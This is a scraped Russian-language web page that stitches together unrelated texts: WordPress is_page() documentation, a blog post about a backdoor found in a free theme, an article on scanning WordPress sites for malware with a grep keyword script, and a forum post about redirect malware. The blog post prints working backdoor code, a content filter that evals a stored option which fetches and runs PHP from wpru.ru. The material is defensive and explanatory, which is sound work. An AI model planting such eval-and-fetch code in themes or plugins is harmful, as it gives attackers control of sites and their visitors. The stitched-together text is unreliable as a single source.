Проверка темы. Ищем и убираем вредоносный код на WordPress Проверка плагинов wordpress на вирусы

Проверяет отображается ли страница "постоянной страницы". Можно указать ID, ярлык или заголовок страницы для проверки. Условный тег.

Вернет true при передаче пустых значений

Будьте внимательны, потому что следующие вызовы этой функции вернут true:

Is_page("") is_page(0) is_page("0") is_page(null) is_page(false) is_page(array())

Нельзя использовать внутри Цикла WordPress

Из-за того что в при работе цикла переписываются некоторые глобальные переменные, is_page() не получится использовать внутри цикла. Впрочем, в этом нет необходимости. Чтобы использовать этот Тег шаблона после цикла, произвольный цикл (запрос на получение записей) надо сбросить функцией: wp_reset_query()

✈ 1 раз = 0.000012с = очень быстро | 50000 раз = 0.02с = скорость света | PHP 7.0.8, WP 4.6.1

Хуков нет.

Возвращает

true/false. true, если отображается тип страницы: постоянной страницы и false, если отображается любой другой тип страницы.

Использование if(is_page($page)){ //код } $page(строка/число/объект)

ID, ярлык, заголовок страницы, которую нужно проверить. Можно указать массив из любых этих значений, чтобы выставить на проверку несколько разных страниц.

По умолчанию: нет

Примеры #1 Функция в действии

Различные примеры использования - случаи когда функция возвращает true (срабатывает):

Is_page(); // Когда отображается любая постоянная страница. is_page(42); // когда отображается страница с ID 42. is_page("О сайте"); // Когда отображается страница с заголовком "О сайте". is_page("o-saite"); // Когда отображается страница со слагом "o-saite". is_page(array(42, "o-saite", "О сайте")); // Параметры можно комбинировать. Добавлено в версии 2.5. is_page(array("sample-page", "contacts", 23, 34)); // Можно проверять несколько страниц одновременно. Все указанные страницы разные...

#2 Заметка про кириллицу и ярлык (слаг)

Если у вас на сайте кириллица не меняется на латиницу - нет плагина Cyr-To-Lat или ему подобного, то при создании записи её ярлык изменяется и кириллица превращается в спец символы (контакты - %d0%ba%d0%be%d0%bd%d1%82%d0%b0%d0%ba%d1%82%d1%8b), поэтому при проверке нужно это учитывать. Т.е. если проверяется не заголовок, а ярлык (post_name), то делайте так:

Is_page("о-сайте"); // неправильно is_page(sanitize_title("о-сайте")); // правильно

#3 Проверка находимся ли мы на дочерней странице у постоянной страницы

В WordPress нет функции is_subpage() . Но такую проверку можно сделать таким кодом:

Global $post; // Если за пределами цикла if (is_page() && $post->post_parent) { // Это дочерняя страница } else { // Это не дочерняя страница }

Можно создать свою функцию is_subpage() . Добавьте такой код в файл темы functions.php . Она работает как же как первый пример: проверят является ли текущая страница дочерней, т.е. страница ли это вообще и есть ли у нее родительская страница.

Такую функцию полезно создавать, когда на сайте предполагается делать проверки как в примере 1 много раз.

/* * Проверят является ли текущая постоянная страница дочерней страницей * Возвращает true или false */ function is_subpage() { global $post; if (is_page() && $post->post_parent) { return $post->post_parent; } return false; }

Чтобы определить страницу "О сайте" или её дочернюю страницу, используйте этот пример. Этот пример может пригодится, когда нужно указать переменную для всей ветки страниц. Здесь мы укажем картинку для ветки:

If (is_page("about") || "2" == $post->post_parent) { // Это страница "О сайте" или её дочерняя страница $bannerimg = "about.jpg"; } elseif (is_page("learning") || "56" == $post->post_parent) { $bannerimg = "teaching.jpg"; } elseif (is_page("admissions") || "15" == $post->post_parent) { $bannerimg = "admissions.jpg"; } else { $bannerimg = "home.jpg"; // если мы на неопределенной странице, выведем картинку по умолчанию }

Создадим функцию, которая проверит все уровни вложенности, всю ветку подстраниц и если мы на одной из страниц ветки, то функция вернет true, в противном случае false. Т.е. предположим у нас есть страница "О нас" у нее есть дочерняя страница "Наши услуги", а у этой страницы есть еще дочерние страницы "Покраска" и "Отделка". В эту функцию передадим ID страницы "О нас" и она будет возвращать true если мы находимся на любой из указанных страниц:

/* * Проверка дочерних страниц по всем уровням вложенности * $pid = ID страницы все уровни дочерних страниц которой нужно проверить */ function is_tree($pid){ global $post; // если мы уже на указанной странице выходим if (is_page($pid)) return true; $anc = get_post_ancestors($post->ID); foreach ($anc as $ancestor) { if(is_page() && $ancestor == $pid) { return true; } } return false; }

#4 Проверка разделения страницы

В записях можно использовать шоткод . Такой код будет делить текст записи на несколько страниц. Это полезно, когда вам нужно вывести метаданные только на первой странице, разделенной на несколько страниц записи.

$paged = $wp_query->get("paged"); if (! $paged || $paged < 2){ // Пост не разделен на страницы или это не первая страница. } else { // Это 2,3,4 ... страница разделенного поста. }

$paged = get_query_var("paged") ? get_query_var("paged") : false; if ($paged === false){ // Пост не разделен на страницы или это не первая страница. } else { // Это 2,3,4 ... страница разделенного поста. }

If (0 === get_query_var("page")) { // Пост не разделен на страницы или это не первая страница. } else { // Это 2,3,4 ... страница разделенного поста. }

Привет друзья. Вы уверены, что бесплатный шаблон WordPress, который вы используете для своих сайтов и блогов действительно безопасный и не содержит скрытых угроз и вредоносного кода? Вы полностью в этом уверены? Абсолютно?)

Думаете, прогнали шаблон через , удалили из него скрытые ссылки, и дело сделано. Файлы сайта сканируете периодически антивирусом, заглядываете в инструменты вебмастера Яндекса во вкладку Безопасность и с облегчением видите там сообщение: «Вредоносный код на сайте не обнаружен «.

Вот и я так думал. Не хотел бы вас расстраивать, но…

Скрытый опасный код в бесплатных шаблонах WordPress

Вот такое письмо я получил на прошлой неделе на почту от своего хостинга. С недавних пор они ввели регулярную проверку всех файлов сайта на поиск вредоносного содержания и таки они это содержание у меня обнаружили!

Началось все с того, что я зашел как-то днем на свой сайт и не смог его запустить — вылезала ругательная надпись про не найденные файлы с расширением php. Немного напрягшись пошел изучать содержимое папки с сайтом на хостинге и сразу же обнаружил проблему — мой файл шаблона fuctions.php был переименован в functions.php.malware что как бы неоднозначно намекало — здесь поработал антивирус или что-то вроде этого) Зайдя на почту я и обнаружил вышеупомянутый отчет от хостера.

Первым делом я конечно же начал проверять данный файл, изучал его содержимое, сканировал всевозможными антивирусами, десятками онлайн сервисов по проверке на вирусы и т.д. — в итоге ничего не обнаружил, все в один голос утверждали что файл совершенно безопасный. Я разумеется выразил свои сомнения хостеру, мол вы чего-то напутали, но на всякий случай попросил их предоставить отчет об обнаружении вредоносного куска кода.

И вот что они мне ответили

Пошел гуглить инфу о данном коде и серьезно задумался…

Как найти фрагмент вредоносного кода в шаблоне

Как оказалось, это действительно нетривиальный прием, который позволяет заинтересованным лицам передавать данные на ваш сайт и изменять содержимое страниц без вашего ведома! Если вы используете бесплатный шаблон, то настоятельно рекомендую проверить свой functions.php на наличие следующего кода :

add_filter(‘the_content’, ‘_bloginfo’, 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option(‘blogoption’))) !== false){
return $co;
} else return $content;
}

Даже с моими весьма неглубокими познаниями в php видно, что создается некий фильтр, привязываемый к глобальной переменной post и content отвечающие за вывод контента только на страницах записей блога (условие is_single). Уже подозрительно не так ли? Ну а теперь посмотрим что же такого собирается выводить данный код у нас на сайте.

Интересная опция blogoption запрашиваемая в базе данных так же выглядит весьма подозрительной. Заходим в нашу базу данных MySQL и находим там таблицу под названием wp_options, если вы не меняли префиксы то она так будет выглядеть по умолчанию. И в ней находим заинтересовавшую нас строку под названием blogoption

Какая красота! Мы видим следующую опцию


return eval(file_get_contents(‘http://wpru.ru/aksimet.php?id=’.$post->ID.’&m=47&n’));

Т.е. нам с некого сайта (причем русского заметьте) возвращают содержимое, которое может нести в себе все что угодно! Любое количество ссылок, вредоносные коды, измененный текст и т.д. Сам сайт при заходе на него выдает 403 ошибку доступа, что не удивительно. Разумеется данную опцию я тоже удалил из БД.

По информации от пострадавших обычно возвращается точно такое содержимое вашей статьи с одной лишь модификацией — вместо какой-либо точки «.» в текст маскировалась открытая ссылка! И кстати, данная опция записывается в базу данных при установке самого шаблона, а затем код, который это делает благополучно самоуничтожается. И вот с такой дрянью я жил два года, и ни один антивирус или сервис мне так и не выявил данную угрозу за все то время. Честно говоря я не замечал, срабатывал ли когда-нибудь со мной такой прием, или же эту возможность блокировал мой плагин безопасности (а может одно из обновлений WordPressa закрыло эту дыру), но все равно неприятно.

Мораль про бесплатный сыр

Как вам изощренность наших «переводчиков» шаблонов (или тех кто выкладывает их у себя в каталогах)? Это вам не ссылки из футера выпиливать) Жалко я уже не помню, откуда я скачивал свой шаблон, давно это было, а то бы обязательно пару ласковых написал. И если бы на тот момент обладал тем же опытом, что имею сейчас, то однозначно не пользовался бы бесплатным шаблоном, или на крайний случай не качал бы с неизвестных источников!

Проще купить какой-нибудь официальный премиум шаблон за 15-20 баксов на том же и жить спокойно, зная что в нем нет дырок и зашифрованных ссылок, а если даже и найдутся уязвимости, то разработчики обязательно выпустят обновление, в котором эти дырки закроют. (У Артема кстати недавно вышла статья, где он как раз про премиум шаблоны рассказывает и даже раздает промокоды на зверские скидки, кому интересно )

WordPress - это самый популярный движок для создания различных информационных сайтов и блогов. Безопасность вашего сайта - это больше чем безопасность ваших данных. Это намного важнее, потому что это и безопасность всех пользователей, которые читают ваш ресурс и доверяют ему. Вот почему так важно чтобы сайт не был заражен вирусами или любым другим вредоносным кодом.

Как защитить WordPress от взлома мы рассмотрим в одной из следующих статей, а сейчас я хочу рассказать как проверить сайт WordPress на вирусы и вредоносный код, чтобы убедиться что все в безопасности.

Самый первый вариант, который приходит на ум - вас взломали хакеры и встроили в код вашего сайта свои бэкдоры, чтобы иметь возможность рассылать спам, ставить ссылки и другие плохие вещи. Так иногда случается, но это довольно редкий случай если вы вовремя обновляете программное обеспечение.

Существуют тысячи бесплатных тем для WordPress и различных плагинах и уже здесь может крыться угроза. Одно дело, когда вы скачиваете шаблон с сайта WordPress и совсем другое, когда находите на левом сайте. Недобросовестные разработчики могут встраивать различный вредоносный код в свои продукты. Еще больше риск, если вы скачиваете бесплатно премиум шаблоны, там взломщики уже ничем не рискуя могут добавить какую-нибудь дыру в безопасности, через которую потом смогут проникнуть и сделать то, что им нужно. Вот поэтому так важна проверка wordpress сайта на вирусы.

Проверка wordpress сайта на вирусы

Первое к чему нужно обратиться при проверке сайта не вирусы, это плагины WordPress. Быстро и просто вы можете сканировать свой сайт и найти подозрительные участки кода, на которые стоит обратить внимание, будь они в теме, плагине и самом ядре Wodpress. Рассмотрим несколько самых популярных плагинов:

1. TOC

Этот очень простой плагин проверяет все установленные на вашем сайте темы на предмет наличия в них вредоносного кода. Плагин выявляет скрытые ссылки, зашифрованные с помощью base64 вставки кода, а также выводит подробную информацию о найденных проблемах. Чаще всего, найденные части кода - это не вирусы, но они потенциально могут быть опасны, поэтому вам стоит обратить на них внимание.

Откройте "Внешний вид" -> "TAC" затем дождитесь пока все темы будут проверены.

2. VIP Scanner

Очень похожий на TOC сканер для тем, но выводит больше подробной информации. Те же самые возможности по обнаружению ссылок, скрытого кода и других вредоносных вставок. Просто откройте пункт VIP Scaner в разделе инструменты и анализируйте результат.

Возможно, достаточно удалить лишние файлы, например, desktop.ini. Или же нужно более подробно посмотреть что происходит в файлах использующих base64.

3. Anti-Malware from GOTMLS.NET

Этот плагин позволяет не только сканировать темы и ядро сайта на наличие вирусов, но и защищать сайт от перебора паролей и различных XSS, SQLInj атак. Поиск выполняется на основе известных сигнатур и уязвимостей. Некоторые уязвимости можно на месте устранять. Чтобы начать сканировать файлы откройте "Anti-Malvare" в боковом меню и нажмите "Run Scan" :

Перед тем как вы сможете запустить сканирование, нужно обновить базы данных сигнатур.

4. Wordfence

Это один из самых популярных плагинов для защиты WordPress и сканирования на наличие вредоносного кода. Кроме сканера, который может найти большинство закладок в коде WordPress, здесь есть постоянная защита от различных видов атак и перебора паролей. Во время поиска плагин находит возможные проблемы с различными плагинами и темами, сообщает о необходимости выполнить обновление WordPress.

Откройте вкладку "WPDefence" в боковом меню, а затем перейдите на вкладку "Scan" и нажмите "Start Scan" :

Сканирование может занять определенное время, но по завершении вы увидите подробный отчет об обнаруженных проблемах.

5. AntiVirus

Это еще один простой плагин, который просканирует ваш шаблон сайта на наличие вредоносного кода. Недостаток в том, что сканируется только текущий шаблон, но информация выводится достаточно подробно. Вы увидите все опасные функции, которые есть в теме и затем можете детально проанализировать представляют ли они какую-либо опасность. Найдите пункт "AntiVirus" в настройках, а затем нажмите "Scan the theme templates now":

6. Integrity Checker

Также желательно проверить целостность файлов WordPress, на случай, если вирус уже записался уже куда-нибудь. Для этого можно использовать плагин Integrity Checker. Он проверяет все файлы ядра, плагинов и шаблонов на изменения. В конце сканирования вы увидите информацию об измененных файлах.

Онлайн сервисы

Существует также несколько онлайн-сервисов, которые позволяют проверить сайт wordpress на вирусы или проверить только шаблон. Вот некоторые из них:

themecheck.org - вы загружаете архив темы и можете смотреть все предупреждения о возможных вредоносных функциях, которые в ней используются. Вы можете не только смотреть информацию о своей теме, но и о других темах, загруженных другими пользователями, а также о разных версиях темы. Все что находят плагины, может найти и этот сайт. Проверка wordpress темы тоже очень важна.

virustotal.com - всем известный ресурс, где вы можете проверить свой сайт или файл шаблона на вирусы.

ReScan.pro - проверка WordPress сайта на вирусы с помощью этого сервиса бесплатна, выполняется статический и динамический анализ, чтобы обнаружить возможные редиректы сканер открывает страницы сайта. Проверяет сайт по различным черным спискам.

sitecheck.sucuri.net - простой сервис для сканирования сайта и тем на вирусы. Есть свой плагин для WordPress. Обнаруживает опасные ссылки и скрипты.

Ручная проверка

Ничего не может быть лучше чем ручная проверка. В Linux есть такая замечательная утилита grep, которая позволяет искать вхождения произвольных строк в папке с файлами. Осталось понять что мы будем искать:

eval - эта функция позволяет выполнять произвольный php код, ее не используют уважающие себя продукты, если один из плагинов или тема используют эту функцию почти со стопроцентной вероятностью можно сказать, что там есть вирус;

  • base64_decode - функции шифрования могут использоваться вместе с eval, чтобы спрятать вредоносный код, но они могут применяться и в мирных целях, так что будьте внимательны;
  • sha1 - еще один метод шифрования вредоносного кода;
  • gzinflate - функция сжатия, те же цели, вместе с eval, например, gzinflate(base64_decode(код);
  • strrev - переворачивает строку задом не перед, как вариант может использоваться для примитивного шифрования;
  • print - выводит информацию в браузер, вместе с gzinflate или base64_decode опасно;
  • file_put_contents - сам WordPress или плагины еще могут создавать файлы в файловой системе, но если это делает тема, то уже стоит насторожиться и проверить зачем ей это, так могут устанавливаться вирусы;
  • file_get_contents - в большинстве случаев используется в мирных целях, но может использоваться для загрузки вредоносного кода или чтения информации из файлов;
  • curl - та же история;
  • fopen - открывает файл для записи, мало ли для чего;
  • system - функция выполняет команду в системе Linux, если это делает тема, плагин или сам wordpress, скорее всего, там вирус;
  • symlink - создает символические ссылки в системе, возможно, вирус пытается сделать основную файловую систему доступной из вне;
  • copy - копирует файл с одного места в другое;
  • getcwd - возвращает имя текущего рабочего каталога;
  • cwd - изменяет текущую рабочую папку;
  • ini_get - получает информацию о настройках PHP, чаще в мирных целях, но мало ли;
  • error_reporting(0) - отключает вывод любых сообщений об ошибках;
  • window.top.location.href - javascript функция, используемая для редиректов на другие страницы;
  • hacked - так, на всякий случай, проверяем, вдруг, хакер сам нам решил рассказать.

Вы можете подставлять каждое отдельное слово в такую команду:

grep -R "hacked" /var/www/путь/к/файлам/wordpress/wp-content/

Или же использовать простой скрипт, который будет искать все слова за раз:

values="base64_decode(
eval(base64_decode
gzinflate(base64_decode(
getcwd();
strrev(
chr(ord(
cwd
ini_get
window.top.location.href
copy(
eval(
system(
symlink(
error_reporting(0)
print
file_get_contents(
file_put_contents(
fopen(
hacked"

cd /var/www/путь/к/файлам/wordpress/wp-content/
$ fgrep -nr --include \*.php "$values" *

    Доброго времени, понимающие.
    Вчера появилась проблема с shopfilters.ru и его поддоменом aquaphor.shopfilters.ru (оба на одной БД), а именно: странный вредоносный код. Проявляет себя так:
    1. Отключилась возможность обновлять и устанавливать плагины, ядро и т.п.
    2. Жуткие тормоза в админ-панели.
    3. На этом глюки, видимые админу закончились. Ниже описаны проблемы, наблюдаемые пользователями customer, причем только если он посещает сайт из сети, из которой не заходил админ.
    4. При нажатии на меню, логотип и т.п. включается редирект на казино, тотализаторы и т.п.

    Какие шаги были предприняты до появления проблемы:
    1. Установил плагины: ATUM Inventory Management for WooCommerce, Woomage Store Manager WooCommerce API, Smart Store Manager For Your WooCommerce Shop, Store Manager Connector, все с wordpress.org, к последнему скачал триал api-приложение для мониторинга склада с пк.
    2. За пару дней до этого установил Smart Store Manager For Your WooCommerce Shop со стороннего ресурса, предварительно проверив его касперским и докторвэбом, обычную версию, но он адски тормозил. Его снес, и поставил, как уже сказано, с wordpress.org.

    Вчера вечером знакомый сообщил о появившейся проблеме.

    Какие шаги были предприняты после появления проблемы:
    1. Отключил все недавно установленные плагины на обоих сайтах — не помогло
    2. Тоже сделал с темами — не помогло
    3. Проверил сервисами: http://sitecheck.sucuri.net/ :

    Website: shopfilters.ru
    Status: Infected With Malware. Immediate Action is Required.
    Web Trust: Not Currently Blacklisted (10 Blacklists Checked)
    Scan Result Severity Recommendation
    Malware Detected Critical GET YOUR SITE CLEANED
    ISSUE DETECTED DEFINITION INFECTED URL
    http://shopfilters.ru/404javascript.js (View Payload)
    Website Malware rogueads.unwanted_ads?1 http://shopfilters.ru/dostavka/ (View Payload)
    Website Malware rogueads.unwanted_ads?1 http://shopfilters.ru/my-account/ (View Payload)
    Website Malware rogueads.unwanted_ads?1 http://shopfilters.ru (View Payload)
    Known javascript malware. Details: http://labs.sucuri.net/db/malware/rogueads.unwanted_ads?1

    Постоянная ссылка на отчет https://rescan.pro/result.php?
    Опасный код на странице ✔ Проблем не обнаружено
    Вирусы в скриптах ✔ Проблем не обнаружено
    Вставки с опасных сайтов ✖

    http://go.oclasrv.com/apu.php?zoneid=1488199

Понравилась статья? Поделиться с друзьями: